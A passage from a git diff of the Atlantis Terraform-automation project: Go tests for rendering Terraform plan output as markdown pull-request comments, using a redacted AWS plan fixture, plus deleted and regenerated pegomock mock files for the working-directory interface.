= (known after apply) + + placement_group = (known after apply) + ~ primary_network_interface_id = "eni-redacted" -> (known after apply) + ~ private_dns = "ip-redacted.ec2.internal" -> (known after apply) + ~ private_ip = "redacted" -> (known after apply) + + public_dns = (known after apply) + + public_ip = (known after apply) + ~ secondary_private_ips = [] -> (known after apply) + ~ security_groups = [] -> (known after apply) + source_dest_check = true + subnet_id = "subnet-redacted" + tags = { + "Name" = "redacted-redacted" + } + ~ tenancy = "default" -> (known after apply) + user_data = "redacted" + ~ volume_tags = {} -> (known after apply) + vpc_security_group_ids = [ + "sg-redactedsecuritygroup", + ] + + + ebs_block_device { + + delete_on_termination = (known after apply) + + device_name = (known after apply) + + encrypted = (known after apply) + + iops = (known after apply) + + kms_key_id = (known after apply) + + snapshot_id = (known after apply) + + volume_id = (known after apply) + + volume_size = (known after apply) + + volume_type = (known after apply) + } + + + ephemeral_block_device { + + device_name = (known after apply) + + no_device = (known after apply) + + virtual_name = (known after apply) + } + + ~ metadata_options { + ~ http_endpoint = "enabled" -> (known after apply) + ~ http_put_response_hop_limit = 1 -> (known after apply) + ~ http_tokens = "optional" -> (known after apply) + } + + + network_interface { + + delete_on_termination = (known after apply) + + device_index = (known after apply) + + network_interface_id = (known after apply) + } + + ~ root_block_device { + ~ delete_on_termination = true -> (known after apply) + ~ device_name = "/dev/sda1" -> (known after apply) + ~ encrypted = false -> (known after apply) + ~ iops = 600 -> (known after apply) + + kms_key_id = (known after apply) + ~ volume_id = "vol-redacted" -> (known after apply) + ~ volume_size = 200 -> (known after apply) + ~ volume_type = "gp2" -> (known after apply) + } + } + + # module.redacted.aws_route53_record.redacted_record will be updated in-place +~ resource "aws_route53_record" "redacted_record" { + fqdn = "redacted.redacted.redacted.io" + id = "redacted_redacted.redacted.redacted.io_A" + name = "redacted.redacted.redacted.io" + ~ records = [ + "foo", + - "redacted", + ] -> (known after apply) + ttl = 300 + type = "A" + zone_id = "redacted" + } + + # module.redacted.aws_route53_record.redacted_record_2 will be created ++ resource "aws_route53_record" "redacted_record" { + + fqdn = "redacted.redacted.redacted.io" + + id = "redacted_redacted.redacted.redacted.io_A" + + name = "redacted.redacted.redacted.io" + + records = [ + "foo", + ] + + ttl = 300 + + type = "A" + + zone_id = "redacted" + } + +# helm_release.external_dns[0] will be updated in-place +~ resource "helm_release" "external_dns" { + id = "external-dns" + name = "external-dns" + ~ values = [ + - <<-EOT + image: + tag: "0.12.0" + pullSecrets: + - XXXXX + + domainFilters: ["xxxxx","xxxxx"] + base64: + +dGhpcyBpcyBzb21lIHN0cmluZyBvciBzb21ldGhpbmcKCg== + EOT, + + <<-EOT + image: + tag: "0.12.0" + pullSecrets: + - XXXXX + + domainFilters: ["xxxxx","xxxxx"] + base64: + +dGhpcyBpcyBzb21lIHN0cmluZyBvciBzb21ldGhpbmcKCg== + EOT, + ] + } + +# aws_api_gateway_rest_api.rest_api will be updated in-place +~ resource "aws_api_gateway_rest_api" "rest_api" { + ~ body = <<-EOT + openapi: 3.0.0 + security: + - SomeAuth: [] + paths: + /someEndpoint: + get: + - operationId: someOperation + + operationId: someOperation2 + responses: + 204: + description: Empty response. + components: + schemas: + SomeEnum: + type: string + enum: + - value1 + - value2 + securitySchemes: + SomeAuth: + type: apiKey + in: header + name: Authorization + EOT + id = "4i5suz5c4l" + name = "test" + tags = {} + # (9 unchanged attributes hidden) + # (1 unchanged block hidden) + } + +Plan: 1 to add, 2 to change, 1 to destroy. +` + +var cases = []struct { + Description string + Command command.Name + ProjectResults []command.ProjectResult + VCSHost models.VCSHostType + Expected string +}{ + { + "single successful plan with diff markdown formatted", + command.Plan, + []command.ProjectResult{ + { + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: tfOutput, + LockURL: "lock-url", + RePlanCmd: "atlantis plan -d path -w workspace", + ApplyCmd: "atlantis apply -d path -w workspace", + }, + Workspace: "workspace", + RepoRelDir: "path", + }, + }, + models.Github, + ` +Ran Plan for dir: $path$ workspace: $workspace$ + +
Show Output + +$$$diff +An execution plan has been generated and is shown below. +Resource actions are indicated with the following symbols: +! update in-place +-/+ destroy and then create replacement + +Terraform will perform the following actions: + + # module.redacted.aws_instance.redacted must be replaced +-/+ resource "aws_instance" "redacted" { +! ami = "ami-redacted" -> "ami-redacted" # forces replacement +! arn = "arn:aws:ec2:us-east-1:redacted:instance/i-redacted" -> (known after apply) +! associate_public_ip_address = false -> (known after apply) + availability_zone = "us-east-1b" +! cpu_core_count = 4 -> (known after apply) +! cpu_threads_per_core = 2 -> (known after apply) +- disable_api_termination = false -> null +- ebs_optimized = false -> null + get_password_data = false +- hibernation = false -> null ++ host_id = (known after apply) + iam_instance_profile = "remote_redacted_profile" +! id = "i-redacted" -> (known after apply) +! instance_state = "running" -> (known after apply) + instance_type = "c5.2xlarge" +! ipv6_address_count = 0 -> (known after apply) +! ipv6_addresses = [] -> (known after apply) + key_name = "RedactedRedactedRedacted" +- monitoring = false -> null ++ outpost_arn = (known after apply) ++ password_data = (known after apply) ++ placement_group = (known after apply) +! primary_network_interface_id = "eni-redacted" -> (known after apply) +! private_dns = "ip-redacted.ec2.internal" -> (known after apply) +! private_ip = "redacted" -> (known after apply) ++ public_dns = (known after apply) ++ public_ip = (known after apply) +! secondary_private_ips = [] -> (known after apply) +! security_groups = [] -> (known after apply) + source_dest_check = true + subnet_id = "subnet-redacted" + tags = { + "Name" = "redacted-redacted" + } +! tenancy = "default" -> (known after apply) + user_data = "redacted" +! volume_tags = {} -> (known after apply) + vpc_security_group_ids = [ + "sg-redactedsecuritygroup", + ] + ++ ebs_block_device { ++ delete_on_termination = (known after apply) ++ device_name = (known after apply) ++ encrypted = (known after apply) ++ iops = (known after apply) ++ kms_key_id = (known after apply) ++ snapshot_id = (known after apply) ++ volume_id = (known after apply) ++ volume_size = (known after apply) ++ volume_type = (known after apply) + } + ++ ephemeral_block_device { ++ device_name = (known after apply) ++ no_device = (known after apply) ++ virtual_name = (known after apply) + } + +! metadata_options { +! http_endpoint = "enabled" -> (known after apply) +! http_put_response_hop_limit = 1 -> (known after apply) +! http_tokens = "optional" -> (known after apply) + } + ++ network_interface { ++ delete_on_termination = (known after apply) ++ device_index = (known after apply) ++ network_interface_id = (known after apply) + } + +! root_block_device { +! delete_on_termination = true -> (known after apply) +! device_name = "/dev/sda1" -> (known after apply) +! encrypted = false -> (known after apply) +! iops = 600 -> (known after apply) ++ kms_key_id = (known after apply) +! volume_id = "vol-redacted" -> (known after apply) +! volume_size = 200 -> (known after apply) +! volume_type = "gp2" -> (known after apply) + } + } + + # module.redacted.aws_route53_record.redacted_record will be updated in-place +! resource "aws_route53_record" "redacted_record" { + fqdn = "redacted.redacted.redacted.io" + id = "redacted_redacted.redacted.redacted.io_A" + name = "redacted.redacted.redacted.io" +! records = [ + "foo", +- "redacted", + ] -> (known after apply) + ttl = 300 + type = "A" + zone_id = "redacted" + } + + # module.redacted.aws_route53_record.redacted_record_2 will be created ++ resource "aws_route53_record" "redacted_record" { ++ fqdn = "redacted.redacted.redacted.io" ++ id = "redacted_redacted.redacted.redacted.io_A" ++ name = "redacted.redacted.redacted.io" ++ records = [ + "foo", + ] ++ ttl = 300 ++ type = "A" ++ zone_id = "redacted" + } + +# helm_release.external_dns[0] will be updated in-place +! resource "helm_release" "external_dns" { + id = "external-dns" + name = "external-dns" +! values = [ +- <<-EOT + image: + tag: "0.12.0" + pullSecrets: + - XXXXX + + domainFilters: ["xxxxx","xxxxx"] + base64: + +dGhpcyBpcyBzb21lIHN0cmluZyBvciBzb21ldGhpbmcKCg== + EOT, ++ <<-EOT + image: + tag: "0.12.0" + pullSecrets: + - XXXXX + + domainFilters: ["xxxxx","xxxxx"] + base64: + +dGhpcyBpcyBzb21lIHN0cmluZyBvciBzb21ldGhpbmcKCg== + EOT, + ] + } + +# aws_api_gateway_rest_api.rest_api will be updated in-place +! resource "aws_api_gateway_rest_api" "rest_api" { +! body = <<-EOT + openapi: 3.0.0 + security: + - SomeAuth: [] + paths: + /someEndpoint: + get: +- operationId: someOperation ++ operationId: someOperation2 + responses: + 204: + description: Empty response. + components: + schemas: + SomeEnum: + type: string + enum: + - value1 + - value2 + securitySchemes: + SomeAuth: + type: apiKey + in: header + name: Authorization + EOT + id = "4i5suz5c4l" + name = "test" + tags = {} + # (9 unchanged attributes hidden) + # (1 unchanged block hidden) + } + +Plan: 1 to add, 2 to change, 1 to destroy. +$$$ +
+ +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + $$$shell + atlantis plan -d path -w workspace + $$$ +Plan: 1 to add, 2 to change, 1 to destroy. +`, + }, +} + +func TestRenderProjectResultsWithEnableDiffMarkdownFormat(t *testing.T) { + r := events.NewMarkdownRenderer( + false, // gitlabSupportsCommonMark + true, // disableApplyAll + true, // disableApply + false, // disableMarkdownFolding + false, // disableRepoLocking + true, // enableDiffMarkdownFormat + "", // markdownTemplateOverridesDir + "atlantis", // executableName + false, // hideUnchangedPlanComments + false, // quietPolicyChecks + ) + logger := logging.NewNoopLogger(t).WithHistory() + logText := "log" + logger.Info(logText) + + for _, c := range cases { + t.Run(c.Description, func(t *testing.T) { + ctx := &command.Context{ + Log: logger, + Pull: models.PullRequest{ + BaseRepo: models.Repo{ + VCSHost: models.VCSHost{ + Type: models.Github, + }, + }, + }, + } + res := command.Result{ + ProjectResults: c.ProjectResults, + } + for _, verbose := range []bool{true, false} { + t.Run(c.Description, func(t *testing.T) { + cmd := &events.CommentCommand{ + Name: c.Command, + Verbose: verbose, + } + s := r.Render(ctx, res, cmd) + if !verbose { + Equals(t, normalize(c.Expected), normalize(s)) + } else { + log := fmt.Sprintf("[INFO] %s", logText) + Equals(t, normalize(c.Expected)+ + fmt.Sprintf("\n
Log\n

\n\n```\n%s\n```\n

", log), normalize(s)) + } + }) + } + }) + } +} + +var Render string + +func BenchmarkRenderProjectResultsWithEnableDiffMarkdownFormat(b *testing.B) { + var render string + + r := events.NewMarkdownRenderer( + false, // gitlabSupportsCommonMark + true, // disableApplyAll + true, // disableApply + false, // disableMarkdownFolding + false, // disableRepoLocking + true, // enableDiffMarkdownFormat + "", // markdownTemplateOverridesDir + "atlantis", // executableName + false, // hideUnchangedPlanComments + false, // quietPolicyChecks + ) + logger := logging.NewNoopLogger(b).WithHistory() + logText := "log" + logger.Info(logText) + + for _, c := range cases { + b.Run(c.Description, func(b *testing.B) { + ctx := &command.Context{ + Log: logger, + Pull: models.PullRequest{ + BaseRepo: models.Repo{ + VCSHost: models.VCSHost{ + Type: c.VCSHost, + }, + }, + }, + } + res := command.Result{ + ProjectResults: c.ProjectResults, + } + for _, verbose := range []bool{true, false} { + b.Run(fmt.Sprintf("verbose %t", verbose), func(b *testing.B) { + cmd := &events.CommentCommand{ + Name: c.Command, + Verbose: verbose, + } + b.ReportAllocs() + for i := 0; i < b.N; i++ { + render = r.Render(ctx, res, cmd) + } + Render = render + }) + } + }) + } +} + +func TestRenderProjectResultsHideUnchangedPlans(t *testing.T) { + cases := []struct { + Description string + Command command.Name + SubCommand string + ProjectResults []command.ProjectResult + VCSHost models.VCSHostType + Expected string + }{ + { + "multiple successful plans, hide unchanged plans", + command.Plan, + "", + []command.ProjectResult{ + { + Workspace: "workspace", + RepoRelDir: "path", + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "terraform-output", + LockURL: "lock-url", + ApplyCmd: "atlantis apply -d path -w workspace", + RePlanCmd: "atlantis plan -d path -w workspace", + }, + }, + { + Workspace: "workspace", + RepoRelDir: "path2", + ProjectName: "projectname", + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "No changes. Infrastructure is up-to-date.", + LockURL: "lock-url2", + ApplyCmd: "atlantis apply -d path2 -w workspace", + RePlanCmd: "atlantis plan -d path2 -w workspace", + }, + }, + { + Workspace: "workspace", + RepoRelDir: "path3", + ProjectName: "projectname2", + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "terraform-output3", + LockURL: "lock-url3", + ApplyCmd: "atlantis apply -d path3 -w workspace", + RePlanCmd: "atlantis plan -d path3 -w workspace", + }, + }, + }, + models.Github, + ` +Ran Plan for 3 projects: + +1. dir: $path$ workspace: $workspace$ +1. project: $projectname$ dir: $path2$ workspace: $workspace$ +1. project: $projectname2$ dir: $path3$ workspace: $workspace$ +--- + +### 1. dir: $path$ workspace: $workspace$ +$$$diff +terraform-output +$$$ + +* :arrow_forward: To **apply** this plan, comment: + $$$shell + atlantis apply -d path -w workspace + $$$ +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + $$$shell + atlantis plan -d path -w workspace + $$$ + +--- +### 3. project: $projectname2$ dir: $path3$ workspace: $workspace$ +$$$diff +terraform-output3 +$$$ + +* :arrow_forward: To **apply** this plan, comment: + $$$shell + atlantis apply -d path3 -w workspace + $$$ +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url3) +* :repeat: To **plan** this project again, comment: + $$$shell + atlantis plan -d path3 -w workspace + $$$ + +--- +### Plan Summary + +3 projects, 2 with changes, 1 with no changes, 0 failed + +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + $$$shell + atlantis apply + $$$ +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + $$$shell + atlantis unlock + $$$ +`, + }, + { + "multiple successful plans, hide unchanged plans, all plans are unchanged", + command.Plan, + "", + []command.ProjectResult{ + { + Workspace: "workspace", + RepoRelDir: "path", + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "No changes. Infrastructure is up-to-date.", + LockURL: "lock-url", + ApplyCmd: "atlantis apply -d path -w workspace", + RePlanCmd: "atlantis plan -d path -w workspace", + }, + }, + { + Workspace: "workspace", + RepoRelDir: "path2", + ProjectName: "projectname", + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "No changes. Infrastructure is up-to-date.", + LockURL: "lock-url2", + ApplyCmd: "atlantis apply -d path2 -w workspace", + RePlanCmd: "atlantis plan -d path2 -w workspace", + }, + }, + { + Workspace: "workspace", + RepoRelDir: "path3", + ProjectName: "projectname2", + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "No changes. Infrastructure is up-to-date.", + LockURL: "lock-url3", + ApplyCmd: "atlantis apply -d path3 -w workspace", + RePlanCmd: "atlantis plan -d path3 -w workspace", + }, + }, + }, + models.Github, + ` +Ran Plan for 3 projects: + +1. dir: $path$ workspace: $workspace$ +1. project: $projectname$ dir: $path2$ workspace: $workspace$ +1. project: $projectname2$ dir: $path3$ workspace: $workspace$ +--- + +### Plan Summary + +3 projects, 0 with changes, 3 with no changes, 0 failed + +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + $$$shell + atlantis apply + $$$ +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + $$$shell + atlantis unlock + $$$ +`, + }, + } + + r := events.NewMarkdownRenderer( + false, // gitlabSupportsCommonMark + false, // disableApplyAll + false, // disableApply + false, // disableMarkdownFolding + false, // disableRepoLocking + false, // enableDiffMarkdownFormat + "", // markdownTemplateOverridesDir + "atlantis", // executableName + true, // hideUnchangedPlanComments + false, // quietPolicyChecks + ) + logger := logging.NewNoopLogger(t).WithHistory() + logText := "log" + logger.Info(logText) + + for _, c := range cases { + t.Run(c.Description, func(t *testing.T) { + ctx := &command.Context{ + Log: logger, + Pull: models.PullRequest{ + BaseRepo: models.Repo{ + VCSHost: models.VCSHost{ + Type: c.VCSHost, + }, + }, + }, + } + res := command.Result{ + ProjectResults: c.ProjectResults, + } + for _, verbose := range []bool{true, false} { + t.Run(c.Description, func(t *testing.T) { + cmd := &events.CommentCommand{ + Name: c.Command, + SubName: c.SubCommand, + Verbose: verbose, + } + s := r.Render(ctx, res, cmd) + if !verbose { + Equals(t, normalize(c.Expected), normalize(s)) + } else { + log := fmt.Sprintf("[INFO] %s", logText) + Equals(t, normalize(c.Expected)+ + fmt.Sprintf("\n
Log\n

\n\n```\n%s\n```\n

", log), normalize(s)) + } + }) + } }) } } diff --git a/server/events/matchers/models_pullrequest.go b/server/events/matchers/models_pullrequest.go deleted file mode 100644 index dd1fb0d4ee..0000000000 --- a/server/events/matchers/models_pullrequest.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" -) - -func AnyModelsPullRequest() models.PullRequest { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(models.PullRequest))(nil)).Elem())) - var nullValue models.PullRequest - return nullValue -} - -func EqModelsPullRequest(value models.PullRequest) models.PullRequest { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue models.PullRequest - return nullValue -} diff --git a/server/events/matchers/models_repo.go b/server/events/matchers/models_repo.go deleted file mode 100644 index 418f13cfcf..0000000000 --- a/server/events/matchers/models_repo.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" -) - -func AnyModelsRepo() models.Repo { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(models.Repo))(nil)).Elem())) - var nullValue models.Repo - return nullValue -} - -func EqModelsRepo(value models.Repo) models.Repo { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue models.Repo - return nullValue -} diff --git a/server/events/matchers/ptr_to_logging_simplelogger.go b/server/events/matchers/ptr_to_logging_simplelogger.go deleted file mode 100644 index 04c72791bc..0000000000 --- a/server/events/matchers/ptr_to_logging_simplelogger.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - logging "github.com/runatlantis/atlantis/server/logging" -) - -func AnyPtrToLoggingSimpleLogger() *logging.SimpleLogger { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(*logging.SimpleLogger))(nil)).Elem())) - var nullValue *logging.SimpleLogger - return nullValue -} - -func EqPtrToLoggingSimpleLogger(value *logging.SimpleLogger) *logging.SimpleLogger { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue *logging.SimpleLogger - return nullValue -} diff --git a/server/events/mock_workingdir_test.go b/server/events/mock_workingdir_test.go index a0b5cc51af..7723e15292 100644 --- a/server/events/mock_workingdir_test.go +++ b/server/events/mock_workingdir_test.go @@ -4,11 +4,12 @@ package events import ( - pegomock "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" - logging "github.com/runatlantis/atlantis/server/logging" "reflect" "time" + + pegomock "github.com/petergtz/pegomock/v4" + models "github.com/runatlantis/atlantis/server/events/models" + logging "github.com/runatlantis/atlantis/server/logging" ) type MockWorkingDir struct { @@ -26,95 +27,159 @@ func NewMockWorkingDir(options ...pegomock.Option) *MockWorkingDir { func (mock *MockWorkingDir) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockWorkingDir) FailHandler() pegomock.FailHandler { return mock.fail } -func (mock *MockWorkingDir) Clone(log *logging.SimpleLogger, headRepo models.Repo, p models.PullRequest, workspace string) (string, bool, error) { +func (mock *MockWorkingDir) Clone(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } - params := []pegomock.Param{log, headRepo, p, workspace} - result := pegomock.GetGenericMockFrom(mock).Invoke("Clone", params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*bool)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 string - var ret1 bool - var ret2 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(string) + _params := []pegomock.Param{logger, headRepo, p, workspace} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Clone", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) } - if result[1] != nil { - ret1 = result[1].(bool) + if _result[1] != nil { + _ret1 = _result[1].(error) } - if result[2] != nil { - ret2 = result[2].(error) + } + return _ret0, _ret1 +} + +func (mock *MockWorkingDir) Delete(logger logging.SimpleLogging, r models.Repo, p models.PullRequest) error { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockWorkingDir().") + } + _params := []pegomock.Param{logger, r, p} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Delete", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) } } - return ret0, ret1, ret2 + return _ret0 } -func (mock *MockWorkingDir) GetWorkingDir(r models.Repo, p models.PullRequest, workspace string) (string, error) { +func (mock *MockWorkingDir) DeleteForWorkspace(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) error { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockWorkingDir().") + } + _params := []pegomock.Param{logger, r, p, workspace} + _result := pegomock.GetGenericMockFrom(mock).Invoke("DeleteForWorkspace", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) + } + } + return _ret0 +} + +func (mock *MockWorkingDir) DeletePlan(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string, path string, projectName string) error { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockWorkingDir().") + } + _params := []pegomock.Param{logger, r, p, workspace, path, projectName} + _result := pegomock.GetGenericMockFrom(mock).Invoke("DeletePlan", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) + } + } + return _ret0 +} + +func (mock *MockWorkingDir) GetGitUntrackedFiles(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) ([]string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } - params := []pegomock.Param{r, p, workspace} - result := pegomock.GetGenericMockFrom(mock).Invoke("GetWorkingDir", params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 string - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(string) + _params := []pegomock.Param{logger, r, p, workspace} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GetGitUntrackedFiles", _params, []reflect.Type{reflect.TypeOf((*[]string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 []string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].([]string) } - if result[1] != nil { - ret1 = result[1].(error) + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0, ret1 + return _ret0, _ret1 } func (mock *MockWorkingDir) GetPullDir(r models.Repo, p models.PullRequest) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } - params := []pegomock.Param{r, p} - result := pegomock.GetGenericMockFrom(mock).Invoke("GetPullDir", params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 string - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(string) + _params := []pegomock.Param{r, p} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GetPullDir", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockWorkingDir) GetWorkingDir(r models.Repo, p models.PullRequest, workspace string) (string, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockWorkingDir().") + } + _params := []pegomock.Param{r, p, workspace} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GetWorkingDir", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) } - if result[1] != nil { - ret1 = result[1].(error) + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0, ret1 + return _ret0, _ret1 } -func (mock *MockWorkingDir) Delete(r models.Repo, p models.PullRequest) error { +func (mock *MockWorkingDir) HasDiverged(logger logging.SimpleLogging, cloneDir string) bool { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } - params := []pegomock.Param{r, p} - result := pegomock.GetGenericMockFrom(mock).Invoke("Delete", params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(error) + _params := []pegomock.Param{logger, cloneDir} + _result := pegomock.GetGenericMockFrom(mock).Invoke("HasDiverged", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem()}) + var _ret0 bool + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(bool) } } - return ret0 + return _ret0 } -func (mock *MockWorkingDir) DeleteForWorkspace(r models.Repo, p models.PullRequest, workspace string) error { +func (mock *MockWorkingDir) MergeAgain(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) (bool, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } - params := []pegomock.Param{r, p, workspace} - result := pegomock.GetGenericMockFrom(mock).Invoke("DeleteForWorkspace", params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(error) + _params := []pegomock.Param{logger, headRepo, p, workspace} + _result := pegomock.GetGenericMockFrom(mock).Invoke("MergeAgain", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 bool + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(bool) + } + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0 + return _ret0, _ret1 } func (mock *MockWorkingDir) VerifyWasCalledOnce() *VerifierMockWorkingDir { @@ -124,14 +189,14 @@ func (mock *MockWorkingDir) VerifyWasCalledOnce() *VerifierMockWorkingDir { } } -func (mock *MockWorkingDir) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockWorkingDir { +func (mock *MockWorkingDir) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockWorkingDir { return &VerifierMockWorkingDir{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } -func (mock *MockWorkingDir) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockWorkingDir { +func (mock *MockWorkingDir) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockWorkingDir { return &VerifierMockWorkingDir{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -139,7 +204,7 @@ func (mock *MockWorkingDir) VerifyWasCalledInOrder(invocationCountMatcher pegomo } } -func (mock *MockWorkingDir) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockWorkingDir { +func (mock *MockWorkingDir) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockWorkingDir { return &VerifierMockWorkingDir{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -149,14 +214,14 @@ func (mock *MockWorkingDir) VerifyWasCalledEventually(invocationCountMatcher peg type VerifierMockWorkingDir struct { mock *MockWorkingDir - invocationCountMatcher pegomock.Matcher + invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } -func (verifier *VerifierMockWorkingDir) Clone(log *logging.SimpleLogger, headRepo models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_Clone_OngoingVerification { - params := []pegomock.Param{log, headRepo, p, workspace} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Clone", params, verifier.timeout) +func (verifier *VerifierMockWorkingDir) Clone(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_Clone_OngoingVerification { + _params := []pegomock.Param{logger, headRepo, p, workspace} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Clone", _params, verifier.timeout) return &MockWorkingDir_Clone_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -165,72 +230,239 @@ type MockWorkingDir_Clone_OngoingVerification struct { methodInvocations []pegomock.MethodInvocation } -func (c *MockWorkingDir_Clone_OngoingVerification) GetCapturedArguments() (*logging.SimpleLogger, models.Repo, models.PullRequest, string) { - log, headRepo, p, workspace := c.GetAllCapturedArguments() - return log[len(log)-1], headRepo[len(headRepo)-1], p[len(p)-1], workspace[len(workspace)-1] +func (c *MockWorkingDir_Clone_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string) { + logger, headRepo, p, workspace := c.GetAllCapturedArguments() + return logger[len(logger)-1], headRepo[len(headRepo)-1], p[len(p)-1], workspace[len(workspace)-1] } -func (c *MockWorkingDir_Clone_OngoingVerification) 